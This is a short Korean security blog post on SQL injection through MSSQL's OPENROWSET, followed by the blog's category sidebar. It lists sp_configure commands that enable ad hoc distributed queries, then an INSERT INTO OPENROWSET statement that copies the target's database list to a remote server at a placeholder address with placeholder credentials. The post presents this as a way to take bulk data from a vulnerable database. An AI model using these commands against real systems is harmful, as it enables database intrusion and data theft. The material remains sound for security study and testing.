OPENROWSET을 이용한 SQL Injection

위의 기능 사용이 가능할 경우 대량의 DB데이터 획득에 매우 유용한 기능이 된다.


1. 기능 활성화

MSSQL2005일 경우는 OPENROWSET 기능이 기본적으로 Disable되어 있어 해당 기능을 활성하 시켜줘야만 사용이 가능한다. 해당 기능 활성화를 위해서는 "Ad Hoc Distributed Queries" 속성을 활성화 시켜주면 된다.

○ 옵션 Lock 해제

exec sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO

○ 설정 활성화
exec sp_configure 'Ad Hoc Distributed Queries', 1;
GO
RECONFIGURE;
GO

○ 옵션 Lock 설정
exec sp_configure 'show advanced options', 0;
GO
RECONFIGURE;
GO



2. 대량의 데이터 획득

취약점 DB의 데이터를 원격지의 MSSQL 서버에 전송하는 방법으로 OPENROWSET을 이용할 경우 대량으로 데이터 획득이 가능하다. 하지만 원격지의 MSSQL 서버에 접근이 가능해야 한다.

○ DB의 목록

INSERT INTO  OPENROWSET('SQLoledb',
'server=REMOTESERVERIP;uid=ID;pwd=PASSWORD','SELECT * from sec.dbo.dblist')
SELECT name FROM sys.databases WHERE database_id>4
Posted by n3015m
:
BLOG main image
'네오이즘'의 보안LAB 블로그입니다........... n3oism@gmail.com by n3015m

카테고리

분류 전체보기 (228)
[ HappyDevTool ] (29)
[ HappyToolRelease ] (4)
[Book] (6)
[ Security Studies ] (0)
- CII (2)
- BigData (2)
- Web Hacking (10)
- SQL Injection (25)
- Mobile Security (9)
- Network (6)
- OperatingSystem (4)
- Malware & Reversing (4)
- Phishing (5)
- Compliance (0)
- Programming (13)
- Tools (13)
- IoT (6)
- etc (21)
[Pentration Testing] (3)
[OS X] (4)
[ Security Trends ] (16)
[ Fixing Guideline ] (7)
My Way, My Life (34)
About Me (2)

최근에 올라온 글

최근에 달린 댓글

최근에 받은 트랙백

Total :
Today : Yesterday :